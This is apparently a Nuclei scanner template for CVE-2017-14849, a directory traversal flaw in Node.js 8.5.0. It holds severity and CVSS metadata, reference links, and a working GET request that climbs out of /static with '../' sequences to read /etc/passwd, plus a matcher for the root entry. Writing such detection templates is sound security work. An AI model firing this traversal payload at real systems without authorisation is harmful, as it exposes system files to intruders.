id: CVE-2017-14849 info: name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal author: Random_Robbie severity: high description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules. tags: cve,cve2017,nodejs,lfi classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.50 cve-id: CVE-2017-14849 cwe-id: CWE-22 reference: - https://twitter.com/nodejs/status/913131152868876288 - https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/ - http://www.securityfocus.com/bid/101056 requests: - method: GET path: - "{{BaseURL}}/static/../../../a/../../../../etc/passwd" matchers-condition: and matchers: - type: status status: - 200 - type: regex regex: - "root:.*:0:0:" part: body